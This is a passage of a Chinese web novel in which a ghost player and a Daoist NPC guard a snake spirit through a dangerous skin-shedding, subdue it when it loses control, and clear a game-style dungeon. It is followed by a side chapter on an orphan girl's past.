鱼宣不知道齐览和弓鸣什么时候结下了梁子,但看它还活蹦乱跳便收回目光。
齐览向来有分寸,不会过火。
只是,“齐大人觉得自己痊愈了?”
青年终于开口:“是法器,淬体用的。”
身魂异形的灵异很容易吃亏,抛开私心不谈,他算是为弓鸣着想。
法器只需要使用者在开启时出手,剩下的步骤都是全自动,倒是不费力。
鱼宣无话可说。
但她还是决定先拯救一下弓鸣:“我看也折腾够了,过犹不及,先把它捞出来吧。”
弓鸣一获救就想往鱼宣身上贴,被齐览半路拦截。
山妖凄凄惨惨地叫起来:“大人,您看他——”
齐览不动声色地握住它整个头部:“它才出来,别脏了你的衣裳。”
鱼宣看看还在滴水的一长条,深以为然。
她对齐览的小动作不予置评,只是说:“弓鸣,你要蜕皮了。”
蛇蜕皮之前的特征是先蒙眼再清眼,他们见到弓鸣的时候它的眼睛就是清亮的。
但它的鳞片色泽暗淡,如一件陈旧的外衣。
尤其是在完全蛇化的时候,那身灰蒙蒙的蛇鳞与它透红的眼对比起来更明显。
山妖挣扎的动作停下来。
鱼宣看向齐览:“像它这样的情况,蜕皮的时候有什么需要注意的吗?”
身魂异形会导致灵异对自己的认知产生错乱,在一些特定情况更容易失控。
“最好给它进行安抚,其他的听天由命。”
鱼宣脑内翻译了一下:可以在精神上支持它,但没什么实质性的作用。
失控状态的灵异攻击力翻了好几番,平时表现得再温和无害,也会无差别伤人。
虽然在鱼宣眼里弓鸣那点本事可以忽略不计,但对于人类来说已经算是灾难了。
最重要的一点是,弓鸣这个名字将山妖囚困在这里,想找个没人的深山老林待着也难以实现。
女鬼冥思苦想:“有没有免于伤亡的办法?”
无论是人类的伤亡,还是山妖的伤亡。
齐览试探着提议:“让它在银碗里蜕完皮?”
鱼宣摸着下巴考虑:“它会出事吗?”
“失控的话,在哪里蜕皮都会出事。”
齐览手里的山妖彻底老实了。
鱼宣垂眼,弓鸣正身体力行地演绎打蛇随上棍,在齐览的胳膊上缠得紧紧的。
她突发奇想:“我制住它不就行了吗?”
弓鸣弱弱提醒:“大人,我得蜕皮啊。”<
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p>一条直挺挺的蛇棍显然无法完成这个艰巨的任务。
鱼宣难得地卡壳。
她很快发现了盲点:“你从前没有蜕过皮?”
弓鸣老实巴交地摇了摇蛇脑袋,又说:“大人,我现在变不回去了。”
鱼宣:哦豁。
女鬼转头:“齐大人?”
齐览:“不只蜕皮,它恐怕没有彻底蛇化过。”
从山妖蛇化后整一个无所适从,连行进都在跟自己打架的表现就可以窥见这一点。
可是。
鱼宣一开始见到弓鸣的时候,它就已经清眼了。
如果只有彻底蛇化才能蜕皮的话——
鱼宣意识到事情的严重性:“它拖了多久?”
青年道长抬起被菜花蛇裹起来的胳膊:“那要问它自己了。”
山妖突然被点到,蛇脑袋慢悠悠探出来。
鱼宣问:“你记不记得有一段时间看不清?”
弓鸣点头:“我到芝娘子家不出半月,有一回在地里找不着方向,差点被璎君撞见,过了两天就好了。”
鱼宣算了算,弓鸣的蜕皮期硬生生被压了十二年。
她果断寻求齐览的帮助:“齐大人,这还有救吗?”
齐览脑内搜寻了一会儿,道:“此事也有先例。”
“传说昔年有虫成茧,虫死茧存逾百年,得天地造化修成蝶。”
鱼宣:“这好像不是一回事。”
且不说弓鸣生前是个人类幼年体,并非蛇类幼年体。单论它现在已经是灵异,还能怎么得天地造化就是个问题。
齐览:“……蝶灵流连花丛三日,执念散尽,本体枯毁。”
鱼宣莫名跟齐览的频道搭上线。
他的意思是,就算故事的开头有出入,最后的结局差不了太远。
弓鸣没懂,但它本能地觉得不妙。
齐览这次没拦它,任由它哭哭啼啼地往鱼宣身上扑。
女鬼很贴心的伸手把菜花蛇接过来。
“你听清楚了,自己选吧,”鱼宣把问题抛给它,“是等一个天地造化,还是在银碗里自生自灭?”
弓鸣:……
听上去都不是什么好选择。
弓鸣小心翼翼地争取道:“大人,能给条活路吗?”
天地造化的结果是死,银碗里叫天天不应叫地地不灵还是得死。
鱼宣很为难。
照齐览的说法,弓鸣的失控几乎是板上钉钉的事,就算蜕皮侥幸挨过去,也极有可能命不久矣。
十二年都没蜕皮,怎么突然这时候蜕皮呢?
女鬼突兀问道:“齐大人,依你之见,故去的老道士道行如何?”
齐览:“很深。”
有这句话就够了。
灵异的失控看似找不到规律,但其实有一定的触发条件。
比如可以正常交流的怨灵,只要不踩雷点就能把矛盾控制在灵异与人的天然对立这个程度,而不至于让人家拼个山穷水尽跟你鱼死网破。
另外还有一类灵异,随着自身成长会有阶段性的失控期。
弓鸣毫无疑问是后者。
老道士点拨弓鸣化蛇,或许并非偶然,而是算到它作为人的阶段已经到了,于是给它续了蛇的阶段,以此延缓灾难的来临。
42. 第 42 章
弓鸣拒绝得情真意切。
鱼宣:“哦。”
不契约就不契约呗。
她又没本事给它按头答应。
“那你收拾收拾准备蜕皮吧,”鱼宣拍了拍齐览的肩膀,“齐大人为你护法。”
齐览安静地望着她,没有推拒这桩差事。
挂在鱼宣胳膊上的弓鸣一僵。
鱼宣收回手,又拍拍自己的胸脯:“还有我。”
答应了弓鸣要看护它蜕皮,鱼宣当日就着手准备。
蛇蜕皮期间需要不被惊扰的安静环境和作为摩擦物质的树枝岩石。
弓鸣随时会开始蜕皮,鱼宣得趁着它现在还稳定,抓紧转移它。
在这之前,还有条线没走完。
这时候争分夺秒,女鬼连饭点也顾不上,再次造访状元府。
正跟客人在拉扯留饭的冯时惜感到一阵阴风刮过,周围温度迅速下降。
她连忙话锋一转:“既然您还有事,就不便耽误了,改日我再上门拜会。”
客气几句正打算答应下来的客人:……
送走了客人,冯时惜感受着仍盘旋在周身的阴寒气息,原地调整了一下自己的表情,然后转身。
“娘子,一日之内登门两次,有何要事啊?”
女鬼显露身形。
鱼宣抱臂,不答反问:“芹娘子同你告状了?”
她之前来的时候可是直接翻进了后院,冯时惜就算有所察觉,也不能确定她在哪。
冯时惜笑道:“府上有客,我怎么能不知道呢?”
鱼宣看出她不希望自己找符芹的麻烦,无意与她掰扯,开门见山道:“无事不来登门,这回专程来找你的,进屋说吧。”
冯时惜把女鬼请进门。
鱼宣目光扫过茶杯上冒着的热气,随口道:“冯大人府上的门房这几日没消停,光顾着迎来送往了。”
冯时惜从发现鱼宣开始心里就一直提着一口气,这会儿根本没心思跟她迂回客套。
鱼宣不进入正题,冯时惜就只一昧地听着,脑筋打着转琢磨自己哪里跟这姑奶奶的事沾上边了。
女鬼自顾自在下首落座,对冯时惜满脸心思浮沉视而不见。
候在一旁的侍从很有眼色地替这位客人上茶。
鱼宣四周看了看,不由得心中感慨。
才不过两天,冯时惜就已经熟悉了这座府邸,调遣下人也不似初来时生疏。
鱼宣掏出银碗,把它交还给冯时惜。
“冯大人的事我办完了,东西也该物归原主,您可要拿好了。”
冯时惜垂眼看向女鬼手里崭新如初的银碗,在短暂的迟疑后接了过去。
她如今已不知道自己留着这银碗能有什么用处了。
鱼宣状似无意地问:“看冯大人如此爱惜,我用时也分外小心,但愿没有磕碰损伤才好。”
当然不会有磕碰损伤,鱼宣从拿到手就知道它被好好地用灵力包裹着,一点银粉也没有擦去。
冯时惜沉默一阵。
“我赶考这几个月,它都在芹娘子那儿,磕不磕碰的全凭人的心意,于我而言,已经无所谓了。”
鱼宣很捧场:“芹娘子对冯大人悉心教导,长年关照,心意无可指摘。”
“是啊,”冯时惜将银碗搁在一旁,“我将银碗质押给芹娘子,比拿去变卖或者送到当铺的价钱要公道许多。”
女鬼眨眨眼。
“这么说,冯大人现在是把它赎回来了?”
冯时惜苦笑:“正是为了这回事,芹娘子才刨根问底地问,忧心我因此仕途不顺。”
鱼宣点点头表示理解。
一个穷书生突然拿出这么大一块银子,换做是谁都会怀疑的。
何况是作为冯时惜的老师,对她的收入了如指掌的符芹。
怪不得传闻说冯时惜路上的盘缠有大半都是符芹出的。
阴差阳错,镇怨灵的银碗盖成了状元的发家财。
女鬼对冯时惜的想法不关心,她把东西物归原主了,事就成了一半。
她起身想走,冯时惜又开口:“听阿庄说,娘子赠与她一柄长枪,不知是何用意?”
鱼宣不必动脑筋,就能把前事猜个大概。
怕不是符庄说的,是符芹偷摸着告小状吧。
NPC的自由度太高,玩家就不得不在行动时深度考虑各方的联系。
鱼宣顿了顿,说:“手头正好有,就给了。可惜我囊中羞涩,拿不出冯大人用得上的。”
玩家要战略性地弃牌。
有的筹码拿在手上,除了占位子,还可能暗藏杀机。
齐览是道士,他挑中的武器,对女鬼能是什么好东西。
冯时惜本意也不是从鱼宣这里要东西,她脸皮还没练到家,被这么一曲解,当即道:“娘子于我有恩,我都没正式谢过,怎么好收娘子的东西。”
鱼宣不吃这一套:“那是给阿庄的,不是给你的,冯大人可不要夺人所好。”
冯时惜:“……是。”
“不过,”鱼宣眼珠一转,“冯大人若真心要谢我,就把银碗摆在供桌上,让它受香火供奉。”
弓鸣是不足之胎,血缘族亲不会给它造牌位。
冯时惜后悔自己多余问一嘴。
但鱼宣都提要求了,她不敢说一个“不”字。
冯时惜垂首:“娘子请放心,我一定照办。”
往后冯时惜离开弓鸣县,奉命去任何地方,又得多一件家当。
鱼宣很满意。
被冯时惜几句话一拦,鱼宣又想到新的问题:“冯大人日后高升,这处院子交由谁来打理?”
这话题太私密,旁人最多心中猜测,不会开口问。
显然鱼宣没有这个顾忌。
冯时惜跟女鬼共处一室聊了几句,身上鸡皮疙瘩都起来了,她送客的欲望强烈,知无不言:“我与芹娘子商量过了,她和阿庄就在府里住下,过段时间就回食珍楼搬东西。”
鱼宣没有再给她回应。
冯时惜顶着压力抬头,面前空空荡荡。
她后怕,惊出一身冷汗。
鱼宣把冯时惜作为半灵胎的感知阈值突破到了一个可怕的高度,长久处于高压下的精神已经有了麻木的迹象,她连鱼宣的离去都没有及时发现。
半灵胎天生的灵异雷达或许带来了不少麻烦与不适,但更多时候可以救命。
意识到自己的状况,冯时惜腿一软,扶着身边的桌子才没跌到地上。
端着新煮的热茶回来的侍从快走几步,关切问道:“大人,您怎么了?”
冯时惜脸色奇差。
“午膳送去芹娘子处,就说我困乏,今日需休息。”
不论冯时惜心情如何,鱼宣这边是顺顺利利地完成任务回到驿府了。
女鬼开着隐匿从小门入府,找了一圈没见到齐览的人影,桌上也光溜溜的没上菜。
鱼宣:?
人呢?
鱼宣最后在驿府大门口找到了迎风而立的青年道长。
她在齐览身后现身,难得有空闲,趁着NPC待机,鱼宣仔仔细细地从形象上鉴赏游戏的精细度。
“审美神作啊。”
被鱼宣脱口而出的感叹惊得回神的青年转过头来。
他很平和:“厨房的人说饭菜烧好了,我到门口来等你。”
鱼宣眯了眯眼,觉得眼前这一幕有些刺目。
她意兴阑珊地撇开眼:“我不饿。”
在游戏里吃再多也不是真正地摄入食物,对玩家来说意义不大。
事实上,鱼宣在这里从来没有饿过。
齐览没有拆穿她。
“还有什么部署吗?”
鱼宣摇头。
“没有别的事的话,我带你去看看弓鸣县的锋口吧,”齐览走近,“瞿青说那里风景很好。”
当地人称
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锋口,因为这儿是弓形山脊的出箭口,也是两山之间的空隙,常有风声长鸣。
鱼宣感受风刮过脸,在山崖的巨岩上坐下。
春末夏初,花开极盛,盛极而衰。
树叶满枝头,群山郁郁葱葱。
鱼宣以为NPC有所发现,安静等了一会儿,发现齐览没有主动跟自己聊天的意思,只好自己眺望四周。
无果。
除了一大片很护眼的青山之外,就是更护眼的开阔的天。
鱼宣叹气。
何苦考验一只失忆的女鬼呢?
“齐览,这里有什么?”
齐览:“山。”
言简意赅。
鱼宣回头想要治治NPC复发的谜语人属性,齐览却在她身边挨着坐下来。
“进了弓鸣县地界,就不在地势阵的针对范围了,你有没有想起什么?”
鱼宣诚实地摇头。
她的灵力一直在恢复没错,但记忆是半点没动静。
“能一无所觉地穿过地势阵,你离找回记忆不远了,有什么打算吗?”
齐览不傻,现在的鱼宣已经接近全盛,他不会再给出“衰弱”的评价。
玩家能有什么打算,通关登出咯。
鱼宣深沉道:“我有我的事,与你说不明白。”
齐览的试探被鱼宣敷衍的话搪塞回去,偃旗息鼓。
NPC好不容易被带出两句话来,这会儿又装哑巴,鱼宣很头疼。
女鬼被山风吹得长发都乱了,想要尽快跳过这一部分:“这里有什么异常吗?”
齐览愣了愣,有些迟疑:“……没有,但你眼力或许比我好。”
灵异找灵异,比起人类找灵异,当然是手拿把掐。
鱼宣:……
她眼力好不好不知道,但齐览真是闲的。
鱼宣拧眉,直起腰杆就要跟齐览好好说道,齐览却脸色一变站起身来。
女鬼下意识抓紧了石壁:“怎么了?”
齐览肃着脸:“弓鸣开始蜕皮了。”
法器的主人能时刻关注其中的变化。
鱼宣把银碗送到状元府之前已经把弓鸣塞进去了,这会儿也迅速跟着齐览站起来。
一人一鬼以最快的速度赶到状元府时,正好未时一刻,是人犯懒的时候。
府里家丁来往的少,鱼宣跟着齐览很快找到振动开到最大的银碗。
以及心烦意乱翻来覆去睡不着又被银碗惊得睡意全无的冯时惜。
鱼宣一把扣住蹦跶的银碗,抬头与冯时惜对视。
冯时惜扯出笑:“娘子,齐大人,你们……”
鱼宣抓紧时间给冯时惜下了个简短的通知:“事急从权,容后再议。”
下一刻,齐览就掐诀将她送进去与弓鸣大眼瞪小眼了。
齐览倒是也想跟着,但鱼宣严词拒绝,并让他在外面看着以防冯时惜整幺蛾子。
这府里人精都聚在一块儿了,不留个看门的指不定怎么死。
弓鸣正盘在提前准备好的大树干上,旁边全是报废的碎木块和碎石。
因为蜕皮,它已陷入半失控的状态,蛇身膨胀了几倍,原本只能缠在人手臂上的菜花蛇现在足以将一整个人裹起来。
大小也是个地头蛇,尽管在鱼宣和齐览手下不够看,把山头轰出一块平地的本事还是有的,鱼宣赶路的功夫,弓鸣已经把摩擦物质消耗了大半。
鱼宣庆幸提前把它藏住了,否则这大中午的,人都窝在屋里,弓鸣一折腾半个弓鸣县都得被掀,不知道能有多少活口。
眼见蛇尾巴要往这边甩过来,鱼宣定了定神,两袖金线同时飞出,牢牢嵌入山妖的身体,硬生生将一长条菜花蛇勒成鼓鼓的几截。
山妖理智尚存,痛觉没打折,被金线割出惨叫。
鱼宣抽空心疼了一下自己的耳朵。
“当前进度:37%(剧情探索达到60%将解锁支线)”
43. 第 43 章
鱼宣放松了点,给弓鸣蛄蛹的空间。
蛇蜕皮是一个比较漫长的过程,附上灵异力量的加成,对场地的消耗很大。
女鬼在身周筑起一道灵力屏障,挡开所有木屑碎石和蛇身偶尔不知分寸的动静。
山妖伤不到她,但按这个趋势下去,法器被它折腾完了也只是时间问题。
冯时惜应该不会介意供奉一只破碗吧。
随着弓鸣蜕皮进度的推进,鱼宣手中金线也越放越松,免得它伸展不开多受罪。
山妖透红的竖瞳颜色愈深,蛇身再次膨胀。
是完全失控的前兆。
鱼宣想:在某种程度上,这也算了却了弓鸣的执念。
非常不巧的一点是,封闭空间内的摩擦物质已经消耗殆尽。
弓鸣找不到可以辅助蜕皮的东西了,只能在乱石木块里穿梭。
不过好在它蛇鳞表层的薄膜脱落得很顺利,在尾部拉出一长条半透明的网状蛇蜕。
还差一点。
鱼宣看向红眼的山妖。
但好像,情况不太妙。
不出鱼宣所料,接近完全失控的弓鸣不再专注于蜕皮事业,转而开始撞击空间的边界。
现在的弓鸣可以跟正常状态的齐览打成平手,他灵力稀薄时制作的法器困不住它。
银碗碎,法器毁。
在这段时间里,齐览提着冯时惜,揣着银碗找到鱼宣提前布置好的祭灵阵,把一人一碗扔了进去。
有目标的灵异比较好控制。
而半灵胎对灵异的吸引在失控状态下只会更明显。
反正齐览留在弓鸣身上的禁制还在,虽然是一次性的,也够用了。
时机刚刚好。
冯时惜才落地,就被迸裂的银碗碎片重重砸了额头。
好在没扎进去。
抹了一手血的冯时惜抬头,与超级加倍版本的菜花蛇对上眼。
冯时惜:……
她可能大概应该还是怕蛇的。
不过冯时惜成长了,尽管怕,好歹没晕过去。
鱼宣引灵力开启祭灵阵。
反选庇护阵是一个天然的擂台,五个时辰够他们把事情了结了。
失控的山妖目的明确,在初步熟悉环境之后,朝冯时惜的方向吐了吐蛇信子。
随后如离弦之箭一般蹿出。
冯时惜一个人类,防身的法器固然有,碰上硬茬也白搭。
为了不让这位文曲星英年早逝,也为了弓鸣把最后一点皮蜕完,鱼宣袖中又探出一条金线捆住冯时惜的腰。
可怜的新科状元万万没想到,自己要吃的苦头在金榜题名后只多不少。
鱼宣开了隐匿,逗猫儿似的拿冯时惜当饵,指挥着弓鸣往假山树木边过。
山妖分明感知到眼前的猎物弱小无害,却硬生生被吊了这么久,不免急躁起来。
菜花蛇那双妖异的竖瞳红光大盛。
鱼宣反应迅速地把冯时惜往回拉,山妖却直直奔向连着猎物的那条线。
蛇身游走,金线纠缠在一起,冯时惜被弓鸣拦截在半路。
鱼宣:!
不是,这BOSS有点太智能了吧。
情况紧急,女鬼使出了自己的平A。
蛇声嘶力竭的惨叫伴随着禁制破碎。
鱼宣觉得音量键是有必要的,玩家的耳膜安全需要得到保障。
女鬼自断打成结的金线,重新抽出一根把冯时惜捞到身边。
冯时惜承受了身体和心理的双重创伤,面色惨白,额前颊边贴了好几缕湿透的头发。
“物品:蛇蜕——翳眼重明,除旧复新。”
“当前进度:38%(剧情探索达到60%将解锁支线)”
蜕皮圆满完成了,鱼宣无意再折磨她,给她套了个灵力罩放生了。
重获自由的冯时惜自觉地找了个角落苟着,对大白天闯进家门的两只灵异敬而远之。
山妖的失控没有因蜕皮的完成而结束,在被鱼宣不轻不重的平A打得缓了好半晌之后,它依然锲而不舍地往冯时惜的方向去。
鱼宣叹气。
这时候跟弓鸣对打,刚蜕皮的菜花蛇只有更吃亏没有最吃亏。
一身新皮脆弱,又因蜕皮消耗了大部分气力,鱼宣真怕自己一个没收住力道就把它打散了。
灵异失控的解决方法有两个:一是熬,熬到它恢复正常;二是杀,把它弄死就不必再纠结失不失控。
按当前已知的故事走向,弓鸣不是非死不可的角色。
不是非死不可,意思就是不能让它死。
没睡午觉的女鬼苦哈哈地打起精神安慰自己:先熬五个时辰,再换齐览来,车轮战轮下来不怕解决不了。
而此刻阵外,齐览依旧兢兢业业地履行着看门的职责。
冯时惜在阵中,现在在齐览面前的是刚结束午休的符芹。
符芹看不见祭灵阵,也看不见阵中的混乱,在她眼中一切风平浪静。
齐览就这么杵着,符芹不好无视他,便福身道:“齐大人可是来找时惜的?她早些时候说身子不适,午膳也没用,您若有要事,让人去传个话就是。”
这话说得客气,实际明里暗里斥责齐览未经主人允许就往后院走。
齐览:“不必。”
冯时惜再怎么不适,也已经被他拎出来了,现在只会更不适。
符芹:……
遇上齐览这种一根筋的,任凭符芹巧舌如簧也拿他没办法。
符芹后悔自己对齐览的反应抱着不切实际的幻想,礼貌性地告辞后径直往前走。
然后她又回到齐览面前。
符芹很确信自己没出现幻觉。
那问题就只可能出在齐览身上。
“齐大人,你来这里究竟是要做什么?”
“芹娘子何必多问,”齐览目光无波无澜,“我们无意打扰,你一切如常便是。”
符芹倒是也想啊。
她沉默片刻,道:“我要去找阿庄,她就在里面。”
鱼宣提前踩过点,状元府这一片无人居住,平时根本没有人往这边走。
齐览在把冯时惜扔进祭灵阵之前也四处看过,并无人迹。
即使符庄确实在阵中,也只能靠鱼宣关照,阵外的人无法插手。
他垂眼:“芹娘子去别处找找吧。”
符芹跟他说不通,不信邪地换了条路。
在又一次遭遇鬼打墙后,她确定了自己不可能进入这片区域。
面前青年对她的恐慌视若无睹,在原地一动不动地站着,好似这就是他的全部职责。
符芹咬咬牙,缓和了语气:“齐大人,阿庄她与时惜不同,她是个普普通通的孩子,无论发生什么,她都不应该被卷入其中。”
“你们的计划里应该也没有把她算进去,何必叫她白白送一条命呢?”
齐览视线落到符芹脸上。
符芹的慌乱和担忧不是假的,她是真的以为鱼宣和齐览要做的事会伤及人命。
齐览问:“你知道冯时惜在里面?”
符芹神色一僵,很快回答:“是。”
她又不是木头脑袋。
齐览在这儿不可能是单纯地给状元府盯梢来了,大概率鱼宣也在。
这俩不去别的地方,非要来这里,还能是冲着谁来的?
齐览歪了歪头:“你只想救符庄,不管冯时惜吗?”
于情于理,符芹都该争取一下冯时惜。
但符芹有自己的说法:“时惜的一生注定坎坷,旁人非要干涉只会因果缠身,这道理,齐大人比我更懂。”
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这是齐览出山以来,第一次亲眼见“寡亲缘,犯孤星”的具象化。
“我确实懂,”青年并不与她争锋,平静陈述事实,“但阵法一旦开启,没有中途放人的说法,芹娘子若有心,等上五个时辰再来领人就是。”
符芹不可置信:“五个时辰?”
让人类与两只灵异待在一起一刻钟都够呛,五个时辰以后她不是来领人,而是该认尸才是。
阵中,鱼宣正在遛蛇。
有了灵力罩,冯时惜的安危不必操心,鱼宣毫无压力。
鱼宣的灵力性寒凉,对灵异感知敏感的半灵胎待了一会儿,只觉得如坠冰窟。
冯时惜心都要凉了。
她才中了状元,衣锦还乡不到两日,就要心悸失温而亡。历代举子里从没有这么窝囊的死法。
鱼宣再去关注冯时惜的时候,她唇色已经冻得发青。
女鬼着急忙慌地撤去灵力罩。
祭灵阵里空间有限,失去保护的冯时惜暴露在弓鸣的攻击范围内,鱼宣麻木地释放平A把锲而不舍的山妖弹开。
渐渐地,女鬼发现弓鸣又胖了一圈。
鱼宣:……
非消耗型BOSS最难打了。
鱼宣看了看菜花蛇鳞片上覆盖的白霜,又看了看自己的手,抿唇不语。
她合理怀疑,这是一条贪吃蛇,能把灵力化为己用的那种。
一昧地喂平A只会助长BOSS的战斗力。
鱼宣:毁灭吧。
不能打的BOSS是无解的。
女鬼抬手想要直接把弓鸣捆成虫茧,却发现自己缠在它身上的金线与新生的金线对比起来肉眼可见地变细了。
鱼宣向山妖投以平A,山妖却越发圆润。
这内服外化的,跟把玩家当粮仓没两样。
鱼宣没辙了。
从蛇胖成虫的山妖重新支棱想要一鼓作气冲过来的时候,鱼宣都准备好暂时先用平A抵挡一下,看看最后能不能让它吃饱了撑死,但它突然没了动静。
山妖立着不动了一会儿,随后轰然倒地。
鱼宣小心靠近,山妖庞大的身躯恢复成正常大小,瘫在地上不动了。
没了它的遮挡,鱼宣这才看见不知何时出现的符庄。
她一手搂着昏死过去的冯时惜,另一只手中抓着血迹未干的长枪。
鱼宣眨眨眼。
对啊。灵力不能用,冷兵器对付一条刚蜕完皮的脆皮蛇还不是轻而易举。
“当前进度:39%(剧情探索达到60%将解锁支线)”
鱼宣转头看向阵外守着的齐览和满脸忧虑的符芹。
这才戌时,祭灵阵还得耗上两个时辰。
鱼宣长叹一口气,把地上的一长条菜花蛇打成结拎起来,空着的手动了动。
属于女鬼的灵力包裹周围被波及的建筑,一点点复原。
多亏冯时惜的牺牲,阵中环境的损毁比预计的好很多。
两个时辰后,鱼宣终于吃上了夜宵。
临走时,她抬头看一眼。
凭灵异卓绝的眼力,院门牌匾上字迹入木三分。
——芹心园。
又援筹饷例,薄具献芹心。
弓鸣县。
功名献。
“恭喜玩家通关副本【弓鸣县】,解锁灵异能力90%,请谨慎使用。”
“当前进度:40%(剧情探索达到60%将解锁支线)”
次日用过早膳,齐览和鱼宣一起到驿站报备。
桌案后的驿官从卷宗中走出:“齐大人,有何吩咐?”
齐览:“我们即刻启程,来知会一声。”
驿官应下,埋头在出行簿上记了一笔。
“瞿大人,”鱼宣指尖在桌案上点了点,“状元府里缺些青竹。”
44. 弓鸣县·番外
符庄恳求鱼宣不要将她斩杀弓鸣的事告知其他人。
符芹向来不许她涉足危险,从前冯时惜读书时,每每符庄想跟着去,都会被拒绝。
符庄原本是孤儿,她并非弓鸣县人,而是被渡头的浣衣妇人救下的。
浣衣妇人发现她时,小小的女婴躺在木盆里,从河流的上游漂下来。
妇人将她救下,却没法养她。
平民百姓家里本就只能勉强维持生计,妇人家中已有二子一女,她浣衣正是为了补贴家用。
上游战事不绝,女婴能安全到达渡头已经是奇迹,若不管她,无非饿死或淹死。
妇人不忍,将她带回去,准备替她寻一户人家。
只是过了十天,渡头村的家家户户都找过了,各家都有难处,只余村头独居的痴儿。
痴儿照料自己过活倒是没问题,能下地能做饭的,平日穿戴也干净,可妇人自己有孩子,自然知道带大一个婴孩不仅仅是吃吃喝喝,万万做不出把女婴交给痴儿的事。
妇人捡到女婴时正是开春,每日喂些米汤,喂到了夏末。
雨水频频,渡头的水线都高了不少,靠岸的人家不得不往里搬。
往年都是如此,村民们习以为常。
那段时间痴儿总是在家里坐不住,来妇人家中看女婴。
水边危险,妇人不得已停了浣衣,又做起针线活,有人帮忙看顾当然好。
妇人家最小的孩子与女婴差不多年岁,痴儿却只对她感兴趣,每日抱在怀里晃悠。
落雨七日不绝,土路上举步维艰,满是深深的泥脚印。
村里气氛日渐阴郁。
水再这么漫上来,地里的庄稼根本活不成,来年更难过。
这天夜里,雨势空前。
渡头边的村民屋子被水淹了,到妇人家中借住,于是妇人就让四个孩子去村头的痴儿那儿借住。
凌晨,女婴的哭声将其他人吵醒。
雨没停,最大的孩子往外看了一眼,当即喊道:“快,快!咱到山上去!”
水线已经上涨到门口了。
痴儿最大的优点就是听话。
他当即抱起女婴往外跑。
但妇人家的二女儿抱着小儿子,忧心忡忡:“爹娘怎么办?”
大儿子不过十一岁,他也想不到好办法。
“咱先上山,看看有没有人在,大家一块儿去救人更稳妥。”
对于几个孩子来说,顶着洪灾救人与送死没区别,只能寄希望于大人。
可是他们忘了,痴儿的屋子在村头,是整个渡头村地势最高的地方。
若有人逃出生天,经过时怎么会不来叩门提醒呢?
痴儿带着四个孩子在山腰待到天亮,也没见半个人影。
雨势最大的时候已经过去,这会儿只下着牛毛小雨。
水线没有退去的迹象,他们不敢轻易下山,心一点点往下沉。
这情形,两个较大的孩子心里都知道,村民们生还的可能微乎其微。
妇人家的大儿子临出门带上了痴儿灶台边的干粮饼,那是痴儿平时下地带去填肚子的,现在成了帮他们熬过这场洪水的粮食。
两个小孩饿了不管别的,就是哭,他们不足半岁,只能把饼掰呈指甲盖大小一点一点喂。
在山上待了一天一夜,雨彻底停了,水线已经退了许多,被淹没在水里的渡头村上半段重见天日。
其中包括了妇人家的屋子。
木头材质的建筑经水泡过,变得脆弱许多,屋子的不少地方被水冲垮,已经算是危房了。
于是两个小孩被交给痴儿照顾,两个大孩子进屋去找人。
渡头村人生长在水边,没有不习水性的。
往年也有发大水的时候,但最多死伤几个行动不便的。
这场洪灾过后,却无一活口。
妇人家的孩子和痴儿是渡头村的人,即使这里已经没有其他人,他们也得留下来。
日子一天天过去,痴儿在家看着两个孩子,两个大孩子到山另一边的村子找活计,每个月末回家歇两天。
某天女婴对着回来的二姑娘喊了一声“姐姐”后,他们知道,这孩子如果现在不送走,往后就送不走了。
痴儿预感到了什么,整日都抱着她不撒手,二姑娘说要替他,他愣是不肯。
最终趁着夜色,痴儿睡得沉,两人带着女婴翻过山头。
这边的村子虽然只与渡头村隔了一重山,但山路足足要走一晚上。
天蒙蒙亮的时候,女婴被放在寺庙门前。
他们打听过了,这寺庙虽小,却常有人来参拜,再不济也能在庙里吃口饭长大。
这时辰他们要赶去上工,没等寺庙开门就离开了。
因此他们不会知道,当地的乞丐有一批每日天不亮就在门前蹲着,见了香客就说吉祥话讨赏。
女婴就这么被带回了乞丐窝养大。
就这么长到七岁,带着她的老乞丐一直喊她“小尼姑”,始终没有一个正经名字。
乞丐窝也做些生意。
女孩白天饿得受不了,喝水垫肚子,晚上起夜听见其他人商量着要把足岁的孩子卖给人牙子。
这些年混迹市井,女孩很清楚,人牙子手里的小孩命好的能进高门大院伺候,命不好的最后的去处甚至有可能是肉摊子。
可是偏僻的村子哪里有什么高门大院,荒年里肉摊子比菜摊子都多。
这两年雨水格外稀少,只怕收成还要减。
她看一眼熟睡中的其他小乞丐,轻手轻脚地出了乞丐窝,头也不回地逃命。
乞讨是一门学问,世人不会看你可怜就烂好心。
女孩耳濡目染,学的几分本事,全用在了这场逃亡中。
她不敢耽误,除了讨口吃的,几乎是片刻不停地跑,直到支持不住昏倒在食珍楼的后门。
乞丐窝养孩子不是发善心,不可能给他们吃饱饭,女孩能跑这么远是她自己都没想到的。
再醒来的时候,她躺在铺着被子的床上,有了自己的名字。
——符庄。
符芹对两个学徒的安排可谓因材施教。
符庄对功名利禄没追求,她七岁前沿路行乞,见过形形色色的人。
她所有力气都在一路曲折中耗尽,好不容易重获新生,已经无心折腾。
那日状元府夜宴,符庄久违地心累。
如果可以,她这辈子都不想与人打交道了
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。
当然,这也不意味着符庄想跟女鬼打交道。
尽管鱼宣是个很有礼貌的灵异,上门还送礼。
收了东西要办事,这点道理符庄早就摸透了,无需鱼宣开口。
符芹被气走,没人盯着符庄练字,她坐下来看着长枪发呆。
这年头连灵异都学坏,跟她打哑谜。
是救人还是杀人,给个准话啊。
鱼宣不说,符庄没问。
早先女鬼在院子里鬼鬼祟祟布置阵法的时候,符庄好奇看了两眼。
没看懂。
鱼宣看她一片茫然的脸,就知道她帮不上忙,挥挥手让她站到一边去放风,别让人发现坏了事。
后来听见冯时惜让人来传话说身体不适,符庄就知道该自己干活了。
女鬼没有给她拒绝的余地,符庄也不想体验拒绝灵异的后果。
她老老实实到鱼宣布阵的地方等着,然后趁乱把那条大得惊人的长虫扎了个对穿。
其实符庄把长枪拔出来的时候就发现一件事:长虫没死,只是因为蛄蛹过头而力竭。
所以她补了一脚给它踹晕,又反手帮冯时惜体面地昏过去。
符庄问:“为什么要我动手?”
鱼宣笑眯眯:“谁说我要你动手了?”
符庄觉得,灵异聪明过头不是什么好事。
但好在,她一眼看出这把长枪很值钱,卖一次命一劳永逸的值钱。
不过女鬼也不亏,因为符庄买一送一,顺手救了两条命。
符庄不希望符芹知道的原因除了不想被念叨之外,还怕她觉得自己连灵异都能对付,真有什么大才可挖掘。
卖命有风险,给别人卖命更有风险。
符庄很惜命。
冯时惜也是。
她感念符庄的救命之恩,也了解自己这个名义上的师妹最想要什么。
要不是御赐的东西不好流通,冯时惜都想从自己的家当里翻点贵重的东西送出去。
